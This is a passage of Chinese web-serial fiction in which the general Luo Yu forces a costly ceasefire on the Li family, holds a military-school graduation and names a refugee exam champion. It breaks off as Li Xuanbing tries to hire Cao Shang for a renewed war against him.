洛羽重重点头:
“从今往后你就跟着我,放心,我一定会让你亲手找李松年父子报仇!”
“砰!”
“谢将军!”
黄自灵俯身跪地,重重地磕了一个头,没人看见他的眼眸中闪过一道诡异的寒芒。
……
宁台县成了洛家军暂时的驻地,各路兵马陆陆续续往此地汇集,城头遍插洛字军旗。
但进驻宁台县之后他们才发现城内的粮草并不多,用黄自灵的话讲,李玄冰提前几天派人运走了大批粮食,从那时起他就知道李家不会死守宁台县。
萧少游在地图上轻轻一指,面带笑意:
“开战月余,咱们已经拿下了阙州大半疆域,现在李家还能掌控的也就连同天阙城在内的十几座城池了。”
“兵力呢?”
洛羽的目光紧盯地图:“李家还有多少兵?”
“李家嫡系牙兵也就万人出头,陆续被我们歼灭了三四千人,仅剩的六七千兵马应该全部集中在天阙城。
再加上其他几城的牙兵和战败溃退的兵马,撑死了也就一万两三千人。”
“李家的实力依旧不可小觑啊。”
洛羽缓缓道来:
“若是两军野战,我们有足够的自信歼灭他们。但若是李家据城坚守,死战不出,天阙城这一战还真不好打。”
所有人都知道天阙城易守难攻,乃是李家经营多年的巢穴,城墙高大而又坚固,以往羌兵入侵都拿天阙城毫无办法,所以李家才这么有恃无恐。再加上有李家父子二人亲自坐镇,城内不可能再有人投降。
也就是说想攻克天阙城,只能硬碰硬地打攻城战。
“如果他们不出兵,咱们先将剩下的城池一一荡平,最后合围天阙城。”
萧少游的手掌在地图上一合:
“最后大军兵围天阙城,困也要把他困死。咱们连云阳关都攻得下,一座天阙城又有何难?”
“那就按你的意思办。”
洛羽微微点头:
“大军激战月余,人困马乏,可以先在宁台县休整十天,同时让匠造司那边加紧打造攻城器械运抵前线,待一切准备妥当之后再向天阙城进兵。”
“诺!”
就在这时,小伍步履匆匆地走了进来:
“将军,君公子到了,说是有事相商。”
“君墨竹?”洛羽愕然:“这种时候他来干什么?有请!”
少倾,君墨竹缓步走入帐内,依旧是那一身墨色长衫,绣着条条竹纹,大夏天的也不知道他热不热。
“君兄,好久不见啊,你还是这么风度翩翩。”
洛羽笑了笑,随着两人逐渐相熟,交谈间也热络了许多。
“洛李开战,陇西震动啊。”
君墨竹有些感慨:
“我早知道你们两家终有一战,也猜出你能赢,但没想到你能赢得如此顺利,短短一月便横扫阙州,如今的李家只能龟缩一隅了。”
“还得多谢君兄的情报,否则不会这么顺利。”
有了君墨竹提供的情报,洛羽才能知己知彼,萧少游的排兵布阵同样轻松了很多,从这件事上洛羽对君墨竹还是心怀感激的。
“君兄不在定州待着,怎么跑到我衢州来了。”
洛羽好奇道:“如今阙州战火纷飞,你就不怕路上遇到什么危险?”
“此事说来就话长了,洛兄有没有听说过陇西四公子?”
“知道。”
洛羽坦然点头:
“阙州李家,李玄冰、定州君家君天啸、君墨竹、并州王家,王彦之。”
陇西三州,三大世家,三家的长子外加一个君家次子并称为陇西四公子,三名长子一个次子,光从排名就能看出来君墨竹的能力有多强,否则在这个以长为尊的年代他凭什么能挤进陇西四公子的行列?
“这次不只是我来了啊。”
君墨竹苦笑一声:“我大哥君天啸、王家王彦之也都在路上了,陇西四公子将齐聚天阙城外。”
洛羽的眉头深深皱起:“你们来做什么?”
“受李玄冰之邀,劝两家停战!”
第170章要么战场上见!
天阙城外二十里处搭起一座凉亭,梁木高耸,古色古香,颇有几分韵味。
四周有千名披甲悍卒护卫,三步一岗五步一哨,任何人都不得靠近。营地中飘扬的旗帜既不是李家也不是洛羽,而是定州君家与并州王家的大旗。
凉亭内呈环形摆了五张桌椅,桌上还摆着一壶美酒,光闻酒香就知道是听雨楼售卖的凤仙醉,陇西当之无愧的第一美酒。
洛羽随意而坐,脸上隐隐带着一丝不悦,君墨竹坐在他身侧,表情有些无奈,他就知道提出劝和一定会引得洛羽不悦。
对面一人身着青衫,相貌俊朗,风度翩翩,光论气质不输君墨竹。
王家王彦之,陇西四公子里面他排名第一,倒不是因为他才干能力最强,而是他最年长,今年正好三十五岁,整整比君墨竹大了一轮。
不仅年长,他也是官位最高的,因为王家家主重病缠身,卧床不起已经有两年之久,这两年来一直是王彦之代领并州持节令,军政大权一手抓。
边上略显壮硕的汉子就是君天啸了,君家嫡长子,也是下一任持节令的继承人。不过从刚刚入帐的几句寒暄中他总觉得君墨竹和君天啸并不亲近,甚至君天啸还带着淡淡的敌意。
“李公子到!”
凉亭中的沉寂总算被一声轻喝打破,李玄冰大步走来,笑着抱拳道:
“王兄,君兄,好久不见。”
“呵呵,李兄来了,咱们可等候多时了,待会儿你得自罚三杯。”
“那是应该的,哈哈。”
李玄冰与几人笑着打招呼,直接略过了洛羽,施施然往对面一坐。
排名居首的王彦之笑容满面的开口道:
“咱们四人应该有好些年没聚在一起了吧,今天有缘,再度相聚。今日还多了一位洛将军,同样是我陇西的年轻俊杰。
云阳关几场大战让洛将军名震陇西,确实打出了我边军的军威,以后就不是陇西四公子咯,得叫陇西五公子。”
“王兄过赞了,洛某当不起。”
“哈哈,我们说你当得起你就当得起。”
王彦之顺势端起酒杯,朗声一笑:
“都说有缘千里来相会,咱们先共饮一杯,再谈正事!”
五人纷纷举杯,一饮而尽,虽然气氛怪异,但都卖了王彦之一个面子。
“我这个人性子直,就不拐弯抹角了。”
刚放下酒杯王彦之就开了口:
“今日我三人是受李公子之邀,给你们两家劝和的。
二位都是阙州人,又同朝为官,何必结下死仇呢?两家开战这么久,互有胜负,可战死的总归是阙州军卒,又连累百姓,弄得境内民不聊生。
倒不如两家冰释前嫌、罢兵言和,化干戈为玉帛,岂不美哉?”
“这一仗可不是我想打的。”
洛羽冷冷地盯着李玄冰:“是李家先发了讨贼檄文,悍然出兵征伐凤川、苍岐,洛某只不过是被动迎战罢了。”
“分明是你先出兵偷袭我李家军营重地在前!按照朝廷律令,偷袭军营乃是谋逆大罪,我父亲身为持节令,自该出兵讨伐。”
李玄冰面无表情地说道:“若非如此,我李家怎会轻开战端。”
“军营重地?你是说野槐山吗?呵呵。”
洛羽讥讽一笑:“野槐山到底是做什么的,大家都心知肚明,这般说辞就不要拿出来丢人现眼了。”
“你!”
“哎哎,打住打住。”
眼看两人就要吵起来,王彦之赶忙出声道:
“李家先开战端确实是他们不对,但如今李公子主动提出停战,足见其悔意,洛兄是不是也考虑考虑?”
洛羽板着脸,没有接话。
“呵呵,洛兄心中有怨气,我知道。”
王彦之笑呵呵地说道:
“但跟几位说一句心里话,今日我来劝和,并不是因为李家之邀,而是边关战事将起,阙州内战必须停止!”
“边关战事将起?”
君天啸好奇道:“王兄何意?去年年末羌兵不就已经退兵了吗?”
王彦之缓缓道来:
“我收到风声,西羌正在集结兵马,整军备战,意图犯我陇西。洛将军在云阳关连杀完颜昌、完颜康两员悍将,以羌人的心性怎么可能咽下这口恶气?
据说此次将会有西羌皇子率兵,挥师数万犯我边疆,一场大战即将到来。
我们陇西三州同气连枝、唇亡齿寒,面对如此危局此刻应当整军备战,抗击外敌,岂能自己人互相残杀?”
几人面色皆变,显然并不知道这道消息,但看王彦之的表情不像是在说谎。皇子领兵、数万悍卒,这般架势可就不是小打小闹了,而是一场大战。
王彦之这才看向洛羽:
“洛兄,你在云阳关屡退羌敌,心中怀有大义,王某佩服。如今这局面,我恳请你退兵,与李家握手言和。”
洛羽皱眉许久,最终口气一松:
“既然王兄都这么说了,那洛某也不能不识抬举。退兵倒也不是不行,但谈判谈判总得有个条件吧,我与李家此战总得有个说法。”
最后一句话明显是对李玄冰说的,因为现在李家处于下风,想让洛羽退兵自然得付出些代价。
李玄冰脸色微僵,他早就猜到洛羽会这么说,冷着脸说道:
“洛将军退兵回凤川、苍岐两地,退出其他城池,阙州一切照旧。李家会提供一万石军粮,作为补偿,并承诺日后再也不会阻碍凤川的酒水、布匹生意。”
“哈哈哈,退兵回凤川,苍岐?”
李玄冰的条件刚刚说出来洛羽就放声大笑,随即目光一寒:
“李公子不是在说笑吧?那我近万兵马征战一月图什么?就图你一万石军粮?如果李家的条件是这样,倒不如咱们各自回营,接着打。”
“那你想怎么样?”
“很简单。”
洛羽缓缓竖起一根手指:
“我大军征战月余,耗费甚巨,而战端是你李家先挑起来的,该补偿我三万石军粮,白银五万两!
洛家军可以将宁台县、野槐山等地还给你们。
但从今以后阙州一分为二,沿苍岐、凤川一线为界,东边归李家,西边归我。”
几人目光微变,三万石军粮、五万两白银,还有半数疆域,洛羽的胃口真不小啊。
“洛羽,你休要欺人太甚!”
李玄冰暴怒而起:“我父亲乃是阙州持节令,怎么可能将半数疆域划给你?如此严苛的条件,休想我答应!王兄,君兄,你们看看,此人哪有半点议和的诚意!”
“洛将军,你提出来的条件确实苛刻了些啊。”
王彦之尴尬地说道:“再商量商量?”
“抱歉,没有商量的余地。”
洛羽极为客气地一抱拳,开口就把王彦之的话堵死了:
“将士们南征北战这么久,如果连半数疆域都控制不了,那我们岂不是白打了?”
“洛将军,莫非你是不想给我们两家面子?”
君天啸的面色隐隐有些不悦:“得饶人处且饶人,这个道理你应该懂。”
“大哥,我倒是觉得洛将军说得有道理。”
君墨竹替洛羽接过了话:“洛家军好歹打了这么久,若是就这么撤兵回苍岐,将全境拱手相让,洛兄肯定没办法跟底下的将士们交代。
咱们也得替他想想不是。”
“墨竹,我知道你与他关系不错,但你也不必替他说话。”
君天啸瞪了他一眼:
“临行前父亲说了,此次劝和我君家两不相帮,只是当个中间人。”
君墨竹努了努嘴,最终还是没有接着说话,只能朝洛羽投去一个隐晦的眼神。
洛羽冷冷的看着李玄冰:
“退兵停战的条件我已经说了,听不听,你自己看着办。
当初开战的是你,现在你打不过了,说让我退兵就让我退兵,天底下怎么可能有这种好事?
别忘了,在云阳关你李家还摆了我一道,害得我数百兄弟命丧城头,此仇我还没报!今时今日我答应谈判已经是给王家、君家的面子了。
如果你要接着打,我奉陪到底。
我们就看看谁能赢!
等天阙城破的那一刻你就会知道,别说是掌管半数疆域了,李家连活着的资格都没有!”
“放肆!”
李玄冰勃然大怒:“当真以为我李家怕你不成!要战便战,我们现在就点齐兵马厮杀!”
“好了,都别吵了。”
王彦之抬手止住了两人的争吵:
“李兄,我说一句公道话,洛兄的条件虽然苛刻,但还算可以接受,毕竟人家是一城一城打下来的,让人家白白交出来怎么可能?
依我的意思,你就从了吧。”
李玄冰咬牙切齿,目光阴毒,他如何猜不透王彦之与君墨竹的心思?陇西三州之间都是有竞争的,以前三家是齐名的,以后阙州一分为二,他李家说话的分量自然就轻了,占便宜的就成了王家与君家。
“我言尽于此。”
洛羽冷冷的说道:
“要么各地停战,要么咱们战场上见!”
李玄冰死死攥在拳头,胸口憋着一团怒火,瞪了洛羽许久才极为不甘的说道:
“依你,停战!”
第171章你也是私生子
宁台县
在盯着李家把军粮、银两陆续交付给洛家之后,王彦之与君天啸便先后离开了,但君墨竹晚了一步,留在了洛羽的军营。
君墨竹轻笑一声:
“大军压境,兵锋直抵天阙城,这一战你是胜券在握,却突然被劝和停战,心中是不是很不爽?”
“还行吧,陇西四公子的面子还是要给的。”
洛羽漫不经心地说道:
“总不至于逼得君家、王家同时对我开战吧。”
“哈哈哈,你真会说笑。”
君墨竹摇了摇头:
“哪怕你今日就带兵踏平天阙城,王家君家最多会记仇,但想让两家出兵相助李家绝无可能。兵马都是各家的命根子,绝不会轻动。光是这次劝和李家就付出了不小的代价,你真当君家王家会白白帮助李家?
什么陇西四公子,呵呵,大家各有各的心思。”
“跟你说实话吧,我同意停战的原因有二。”
洛羽心平气和地说道:
“一是防着羌兵再起战端,洛家军不能一直停留此地,二是因为天阙城城高墙坚,我一时间还没想好怎么攻下它,倒不如顺手推舟,卖两家一个人情。
如今地盘、军粮、银两全都到手,先撤回去休整一下有何不可?”
“我就知道,你岂会是一个吃亏的人。”
君墨竹微微一笑,随即很认真的看着洛羽:
“给你提个醒,李家虽然主动提出了停战,但是他们一直在征兵,李玄冰的性子我再清楚不过了。我有一种预感,李家不会就此善罢甘休的,你多加小心。”
“放心吧,我又不傻。”
洛羽冷冷一笑:“李玄冰的手段在我眼里,雕虫小技罢了。”
君墨竹目光微挑,总感觉洛羽话里有话,但也没多问。
“倒是你。”
洛羽露出了一抹八卦的表情:“你和你那位兄长之间好像有些古怪啊,不像是亲兄弟。”
君墨竹愣了一下,自嘲似的摇了摇头:
“若是生在农家,亲兄弟之间互相帮衬是人之常情,但我生在大世家,何来兄弟二字?”
“怎么,他担心你和他争夺家主的位子?”
洛羽轻笑了一声,其实他很清楚,大世家之间的子弟为了争夺家主之位经常斗得头破血流,与争夺皇位一模一样。别看你现在是嫡系,可你若当不上家主,过个两代三代你这一支就是庶出了,以后就得对别人俯首帖耳。
进一步世代荣华、退一步当牛做马!
“你说对了,他确实一直提防着我。”
洛羽一语中的,但君墨竹的表情很平静:“可我从未想过要和他争什么,家主、持节令,全都是他的。”
“为什么?你就不想主政一方?”
洛羽大为不解,这世上什么东西最吸引男人?
美女?金钱?都不是!
是权力!谁不喜欢大权在握的感觉?
虽然他与君天啸接触不多,但一眼就能看出来此人城府不深,不管是心性还是能力都远不如君墨竹,如果君墨竹想争,他一定可以成为君家家主,未来的定州持节令。
“很简单。”
君墨竹喃喃道:“因为我既不是嫡出、也不是庶出,而是私生子。”
“什么!私生子!”
洛羽目瞪口呆,堂堂君家二公子竟然和自己一样是私生子!
“看你这大惊小怪的样子。”
君墨竹白了他一眼:“此事在君家不是秘密,陇西三州知道的人并不少,我一直以为你知道。”
“我不知道!”
洛羽反过来白了他一眼:“可私生子为何就不能争夺家主之位?你也姓君,你也是你爹的儿子!只要你有本事让君家变得强大,继承人的位子就该是你的。”
“倒不是说我不能争,而是我并不想争。”
君墨竹微微摇头:
“我自幼丧母,父亲没有嫌弃我,而是力排众议将我接回家中供养,这么多年来对我关爱有加,饮食起居、读书求学从未克扣过半点,成才之后他更是钦定我为君家二公子,让我体会到什么叫父爱如山。
但我爹同样疼爱大哥,也就是君天啸,毕竟他是嫡长子。
大哥从小顽劣,不思进取,长大之后稍微好点,但同样不让人省心,父亲大人一直担心他无法成为君家的掌舵人。
这些年我声名鹊起,家族中隐隐有流言传出,说我更适合当君家的继承人,由此我大哥便对我心生嫌隙,时刻提防。
父亲是君家家主,他很为难,如果让我当继承人,势必引起大哥那一派的剧烈反弹,但如果让大哥当继承人,又担心他管不好君家。
所以我找父亲推心置腹地谈过一次,表明了自己的心迹,继承人之位只能是大哥的,我会好好辅佐大哥,让他不用担心。
为了家族平稳,这些年我不插手兵权,也没有在定州官吏中安插自己人,只是充当一个幕僚的角色,但即使是这样,我那位大哥还是有些防着我。”
君墨竹有些无奈,洛羽竟然生起了些许佩服。从他的表情里洛羽看不到对权力的贪婪,按理说像他这种大才应该更渴望权力才对。
或许这就是亲情吧,在君墨竹眼里让父亲安心、让家族稳定更加重要。
“哎,好端端的跟你说这些干嘛。”
君墨竹拍了拍屁股站起身:
“我该走了,若是回去得晚,那位大哥又得在父亲耳边唠叨。”
“洛兄,我还是那句话,小心李家!”
“多谢提醒。”
洛羽郑重抱拳:
“若是李家想耍什么阴谋诡计,那我就只能砍下李家父子的人头,一统阙州了。”
“哈哈,好霸气,我喜欢!”
君墨竹大笑一声:
“那我就等着洛兄一统阙州!”
君墨竹走了,背影竟让人觉得有些萧瑟。
萧少游缓步走出,唏嘘道:
“他也是个可怜人啊,空有一身才华却无处施展,有时候生在大世家未必是好事。”
“是啊。”
洛羽缓缓摇头:“人各有命,他的路只能靠自己走。”
“那我们呢?”
萧少游轻笑一声:“当真退兵?”
“当然退兵了,反正银子军粮都已经到手了。”
洛羽大手一挥:
“收兵,回苍岐!”
……
夜幕混混,火光摇曳。
李玄冰负手而立,目光深邃。
刚刚下人已经把洛家军撤兵的消息报上来了,天阙城总算避开了一场大战。
但李家付出了巨大的代价,三万石军粮、五万两白银,外加阙州一半的疆域、田赋、人口,可以说经此一战,李家的威望一落千丈。
“洛羽。”
李玄冰面无表情,嗓音冷厉:
“今天你吃下去的,明天我会让你加倍吐出来!”
第172章军政商三路并行
大军陆陆续续地撤回了凤川,迎接他们的依旧是老百姓的欢呼声。
虽说罢兵议和,但是李家付出了大量的真金白银,所有人都知道他们败了,洛家军获得了最终的胜利!也就是说老百姓们保住了手中的土地,保住了来之不易的好日子。
今日议事厅中多了一个人,李家降将黄自灵。
毕竟要把宁台县还给李家,黄自灵总不能留在那儿等死吧?就带着麾下一千五百军卒来了凤川,归降洛羽的兵马不少,但这是势力最强的一支。洛羽任命其为校尉,以降卒组成了洛字旗下的第七营。
萧少游最先开口,汇报起这次大战的收获:
“此战我军不仅占领了大片城池、土地、人口,麾下军力也大大扩充。
六营兵马以战养战,不断发展壮大,都已经扩充至一千五百人,再加上黄校尉,我洛家军总计兵马整整一万!”
“彩!”
“哈哈哈!”
众人齐声喝彩,遥想当年苍岐刚刚建城,兵丁不过三百,今时今日他们竟然有了一万精锐,这股力量别说在阙州,整个陇西也无人敢小觑。
梅雪崖接过话道:
“辖境多了二十多座城池,接下来我们该考虑如何治理这些地方了,这次能击败李家,一是因为兵力强盛,二便是民心所向。
咱们若是治理不好这些地方,终会重蹈李家的覆辙。”
“此事我心中早有盘算。”
洛羽缓缓道来:
“从今天起,这些城池就再无什么城主了,在我看来所谓的城主就是一群散沙,对内钩心斗角、对外也拧不成一股绳。
我会指派官吏分赴各地,就任县令,逐步恢复各城吏治,安定民生。军中也要抽调一部分将校随文官一起去,如果有谁敢反抗作乱,那就直接杀。
从今往后所有政令必须出自一脉,以前那种各自为政的局面将不复存在!”
洛羽很清楚有些人是迫于无奈才归降洛家军的,都是些墙头草,洛羽岂会任由他们接着作威作福?
“诺!”
众人纷纷附和,阙州已经乱得太久了,所谓的城主必须取缔!
“接下来咱们依旧是军政商,三路并行。”
洛羽沉声道:
“四营骑兵驻守苍岐,徐松、黄自灵两营驻守凤川,辛苦韩将军带兵外出,巡查各城,毕竟各城刚刚归附,恐有不轨之徒。
梅雪崖挑选人手,指派各城县令,尽快起程赴任,逐步恢复吏治;
至于官作司的生意也可以重新开始,这些事就由江殊来办吧,咱们等着源源不断的银子流进口袋。”
众人齐声朗喝:
“诺!”
……
一晃半个月的日子很快就过去了,苍岐辖境之内一片欣欣向荣之景。
各营兵马还和以前一样操练,三岐山的马蹄声从早到晚走在轰鸣,将士们也斗志昂扬。阙州一战足以证明此练兵之法可以磨炼出一支精锐!
梅雪崖挑选了不少得力文官赶赴各地,在所有城池开始打土豪分田地,此举虽然会在短期内引来不少地主富豪的激烈反弹,但阵痛之后便是繁荣,不刮骨疗毒永远也不会有好日子。
而且梅雪崖还打算在近期举办第二次科举,这也是洛羽的意思,以前他们只能吸纳凤川一地的读书人,但这次科举势必能吸引到更多的人才。
至于官作司的生意那就太好了,酒水和棉布卖得风生水起,不仅是阙州,定州并州的商贾也来大规模进货,正如当初预料的一样,白银在源源不断地流入洛羽的口袋。
众人忙忙碌碌之际,洛羽出现在了玄岐军校内。
校场中央站着军校的第一期学生,近四百将校,全都是军中的中坚力量,今天是他们毕业的日子。
说来也是好笑,旁人读书都是在学堂坐着,这些家伙读书求学还抽空外出和李家打了一仗。如今的他们不仅懂些兵法,更经历了一场场战事的磨砺,比以前更加成熟,善战!
在毕业之前还对他们进行了考核,骑战、箭法、枪术、文章样样要学,最后一轮考核更是要懂排兵布阵:
四百人以十人为一队,两队之间互相比试,就以三岐山为战场,各自潜入山中对阵,直到把对方十人全都打趴下就算赢。经过一轮又一轮淘汰,最终选出最厉害的五队人,人人官升一阶!
既然建了军校,那就必须有激励,没有激励怎么会好好学?用洛羽的话说,科举制有文状元,但玄岐军校自然得有武状元。
洛羽高居将台,朗声喝道:
“将士们!”
“轰!”
“从今天起,你们就算正式毕业了,从今往后沙场就是你们的归宿!
我有一种预感,你们会从现在的都尉、百户、标长成长为一位位将军!你们将会是阙州军伍的砥柱,甚至是天下最强的领兵之将!”
所有人皆昂首挺胸,丝毫不怀疑洛羽在画大饼,因为他们能意识到自己发生了蜕变。
“我已经没什么好教你们的了。”
洛羽环视全场,满心感慨:
“我只希望你们走出军校的大门之后,永远不要忘了我们的初衷,不要忘了我们的校训!”
“轰!”
四百精悍将校同时握拳行礼,高声怒吼:
“死生同赴!家国同在!”
吼声冲天而起,震慑云霄,直到四百人全部散去依旧能觉得耳边有豪情回荡。
“壮观呐。”
梅雪崖不知何时出现在了洛羽的身侧,轻笑道:
“若无一支铁血雄师,又怎么保护得了数以万计的百姓呢?”
“是啊,家国同在,国若是没了,家又岂能幸存?”
洛羽唏嘘了一声,然后打趣道:
“梅知府可是大忙人啊,今日怎得有空跑到苍岐来?”
“呵呵,第二次科举已经结束了。”
梅雪崖笑呵呵地递过一张卷子:
“这是此次科举的状元。”
因为洛羽忙于战事,此次科举主要由梅雪崖主持,还请了一些德高望重的老文人共同阅卷,最后评选出一位状元。
第一次科举的时候只有寥寥数十人参加,但这次翻了好几倍,数以百计的读书人从阙州各地赶来搏一份功名。
以前很多人都说读书无用,但梅雪崖的例子告诉他们,只要你勤奋刻苦、只要你一心为民,那就有机会当官。
“噢,新的状元?我看看。”
洛羽好奇地接过卷子仔细审阅,但看到最后眉头却有些微皱。
“怎么了,有何不妥吗?”
“怎么说呢。”
洛羽的神情有些古怪:“这张卷子答得还可以,但并没有你那篇惊艳,只能说比寻常人要好些。”
“其实这次科举有四五名考生的卷子都答得差不多,这只是其中一份。”
“噢?”
洛羽很是好奇:“那你怎么选了此人当状元?”
梅雪崖突然嘴角微翘:
“因为他来自奴庭!”
第173章他去了饮马镇
屋中站着一位年轻人,一身麻衣缝满了补丁,脚上穿着一双草鞋,皮肤略显粗糙,手掌上有常年干农活留下来的老茧。
任谁也想不到此人就是今年凤川科举的状元郎:
陆怀舟。
第一次见洛羽这种大人物,年轻人很是局促,躬着身子也不敢抬头。今年科举的名次还没有公布,而且他是在地里干活的时候突然被衙役叫走的,直到现在也不知道自己来要做什么。
洛羽轻声道:“不用紧张,把头抬起来。”
年轻人似是鼓足了勇气,作揖行礼:
“草民陆怀舟,见过洛将军,梅大人!”
洛羽微微点头,虽说穿着破旧了些,但是举手投足间带着读书人的儒雅,面庞也还算清秀。
“听说你从奴庭来?”
“是的。三年前草民从奴庭逃入阙州,一路走一路乞讨,难得能吃上一顿饭,好不容易保住一条命。后来听说凤川官府会给流民分地,不少奴庭人就结伴来凤川附近定居。”
陆怀舟一五一十地答道:
“现在草民住在城外二十里处的小村落,村子是去年新建的,一百多户人家都是从奴庭逃来的难民。”
“日子可还好过?”
“当然好过,比以前好太多了。”
陆怀舟有些欢喜:
“以前是吃一顿饿三天,现在基本上不会饿肚子了,官府给我们分了地,还免费借我们农具农种,去年收成不错,家家户户交完税后还能剩些余粮,大家都很开心。”
“那就好。”
洛羽很满意,起码自己和梅雪崖的努力没有白费,真有一批百姓受益匪浅。
“你从小就读书吗?”
这一点洛羽和梅雪崖都很好奇,因为奴庭一直饱受羌人欺凌,只有大户人家才有资格读书,如果陆怀舟出自大户人家,为何还要逃难呢?
“我父亲读过一点书,所以草民从小就喜欢看书识字,可奴庭几乎没有私塾,只能靠家中的一本古籍自学。到了凤川定居以后听说读书人可以通过科举做官,小人便想着试一试,这才重新拾起了书本。”
洛羽和梅雪崖都有些震惊,怪不得写出来的文章不算出彩,也就是说此人从小就读过一本书,然后直到去年才重新求学。
别人都是寒窗十年,这家伙满打满算就是一本书再加上一年。
如果真让他好好读上十年书,只怕又是一位大才。
“咳咳,洛将军,梅大人。”
陆怀舟小心翼翼地问道:“不知今日找草民前来可有事要说?”
“呵呵,你想不想知道自己此次科举的名次?”
“想!”
陆怀舟目光锃亮,但也带着些紧张。
“此次科举,你位列第一。”
梅雪崖轻笑一声:“你便是今年的新科状元!”
“状,状元?”
陆怀舟几乎不敢相信自己的耳朵:“我,我只是奴庭来的流民,我,我何德何能当这个状元郎啊。”
整个凤川城都知道如今的知府大人梅雪崖就是第一界状元,陆怀舟显得手足无措,他哪有胆子敢和梅雪崖相提并论。
“怎么,奴庭人就不能是状元了?”
梅雪崖很认真地说道:
“凤川科举,以贤举才,不问出身。本官钦点你为状元,你就是!”
“太,太好了。”
陆怀舟眼眶湿润,喃喃道:
“本来只想着能有个不错的名次,没想到成了状元,也算没辜负全村人的希望。”
“辜负全村人的希望?”
洛羽好奇起来:“你读书识字参加科举是你自己的事,怎么扯上全村人了?”
“因为买书要花钱、买笔墨纸砚也要花钱,光靠我种几亩地是不够的。”
陆怀舟低着头,默默地说道:
“所以村里每家每户都给我凑了些银钱,好不容易供我读了一年书,参加科举。他们说奴庭人逃到乾国总会被人看不起,若是能出一个读书人去做官,奴庭流民的脸上也有光。”
“原来如此。”
洛羽莫名觉得鼻尖发酸,以前他倒是从未考虑过这个问题,并不是所有人都读得起书。
“依凤川官律,科举状元郎可以直接进入官场。”
洛羽突然眉头一挑:“你想做什么官?”
“草民不懂什么官位,对官场更是一窍不通。”
陆怀舟有些尴尬:“一切听凭将军您吩咐,但我希望能为老百姓做些实事,我希望能让更多的奴庭百姓读书识字。”
“说得很好。”
洛羽轻声道:“你的名字是你爹取的?”
“不是。”
陆怀舟摇了摇头:
“是草民逃入阙州以后自己取的。天下如江海、我愿为舟楫,度尽苦难人。”
“度尽苦难人。”
洛羽竖起了大拇指:
“好志向!这样,你暂时先跟在梅大人身边历练,我先交给你办一件差事。”
“将军请讲!”
“你在凤川周边设立一些官府学堂,教贫民百姓的孩子读书识字,但凡愿意求学的,官府会为其免除三年笔墨纸砚的费用,并且中午可以提供一顿饭食,我称之为三年义务教育。”
“三年义务教育?”
词汇虽然陌生,但陆怀舟瞳孔放大,惊喜万分:
“若真能如此,确实是一件大大的善事!草民替所有读书人,谢过将军!”
“呵呵,去吧,这件事差事若是办砸了,我可是要拿你问罪的。”
洛羽笑道:
“记住,不管你们来自奴庭还是哪里,都没人会看不起你们,不要在意旁人的目光,自己要挺直胸膛做人,不卑不亢、有礼有节!”
“明白!”
陆怀舟恭恭敬敬地退了出去,但这次他的胸膛挺直了许多,脸上也多出了几分别样的光彩。
洛羽负手而立,突然说了一句:
“现在我知道你为什么点此人当状元郎了。”
“噢?”
梅雪崖笑了笑:“将军请讲。”
“因为你想让奴庭人知道,在我苍岐辖境之内,奴庭人亦可以出人头地!”
“哈哈,没错!”
梅雪崖大笑一声,然后神色变得凝重:
“严格意义上来讲奴庭离陇西并不远,从奴庭逃往陇西的百姓也很多,三州境内数以万计。可奴庭人不管逃到何处,总会有一种被歧视的感觉。
我就是要让所有奴庭百姓包括乾国百姓明白,在咱们苍岐,奴庭人与乾人并无任何不同,乾人有地可耕,奴庭人也有!乾人可以读书识字、参加科举,他们也行!
等时间一长,咱们辖境内的奴庭百姓会越来越多,只要人口充实,那苍岐何愁不强大?”
洛羽很是赞同:
“没错,奴庭人与乾人并无不同!”
两人欣慰一笑,心领神会。
“将军!”
就在这时,萧少游疾步走了进来,沉声道:
“刚刚接到一则密报,李玄冰似乎离开了天阙城,暗中去了饮马镇。”
虽然双方停战,但他们一直在注意李家的动静。
“他去了饮马镇?找曹殇?”
洛羽眉头紧皱:
“李玄冰,你又想干什么?”
第174章他是我的挚爱亲朋,得加钱!
饮马镇
空旷的院落中摆着许多木箱,里面满满当当塞的全是白银,晃得人眼花缭乱。随便一箱拿出来就够十户平民百姓一辈子衣食无忧。
曹殇双眼放光,露出贪婪之意:
“这么多银子,我曹殇今天也算开了眼了。”
“哈哈,玄冰头一回来饮马镇,些许薄礼不成敬意。”
李玄冰大笑一声,随手捏起一锭银子在手中掂了掂:“三万两白银,就当是送给曹首领的见面礼了。”
李家大公子依旧是一身崭新的雪白长袍,笑容满面,春风和煦,浑然看不出刚刚经历过一场大败,还是那么的风度翩翩。
“哎呦,这叫我怎么好意思?李家出手果然阔绰!哈哈哈!”
“来人啊!院子里有灰,白花花的银子可不能脏了,把这些箱子都给我抬到库房里去!”
看着军卒们将银子全都搬走,曹殇才抱着膀子轻笑道:
“饮马镇可是穷乡僻壤,怎敢劳驾李公子您亲自登门送礼,想必三万两银子不是白给我曹某人的吧?说吧,需要饮马镇做些什么?”
“曹首领果然痛快!”
李玄冰手掌一侧:“咱们入屋详谈?”
“公子请!”
“曹兄请!”
两人大步走进屋中,下人在斟满了两杯酒之后便恭恭敬敬地退了出去,几名李家亲卫守在门口,确保没人能够偷听谈话。
“这么多年,李公子还是头一次来我饮马镇。”
曹殇的眼眸中闪烁着精光:“都说无功不受禄,这次李家出了大价钱,想必让我干的事情不简单吧?”
“我李家即将出兵征伐。想请饮马镇的兵马随行,顺便再帮我杀一个人。”
“出兵征伐?你们要打谁?羌人吗?没听说边关有战事啊。”
“不。”
李玄冰面无表情地摇了摇头:
“苍岐,洛羽!”
“洛羽?”
曹殇明显愣了一下,饶有趣味地说道:
“如果我没记错的话,一个月前你们两家刚刚罢兵停战,怎么又起战端?”
“罢兵停战不假,但那只不过是权宜之计罢了。”
李玄冰目光微寒:
“我父亲乃是阙州持节令,奉朝廷圣旨执掌阙州全境军政大权,岂容小儿骑在我们头上撒野!”
“啧啧,原来是这么回事。但只怕我要让李公子失望了。”
曹殇摆手拒绝:
“这是你们两家的事,我曹某人可不想掺和,话又说话来,李公子应该知道我与洛羽之间有些交情,曾经还在凤川城外并肩作战。
我怎么可能出兵攻打苍岐?
不去不去,这银子我就不要了。”
“呵呵,曹首领什么时候开始讲人情了?你不是只认银子吗?”
李玄冰略带玩味:
“去不去无非是价码的问题罢了,曹兄如果愿去,价钱我们可以再谈。”
“李公子倒是挺了解我的。”
曹殇咧着嘴笑了一声:
“实话跟你说吧,我曹殇确实爱银子,但这场仗我真的不想掺和,因为我觉得你李家打不赢!
李公子别怪我说话难听,上一场大战所有阙州人都看在眼里,洛家军骁勇善战,打得李家节节败退,不到一个月就横扫阙州,兵临天阙城外,最后李家不得不请陇西四公子来劝和停战。
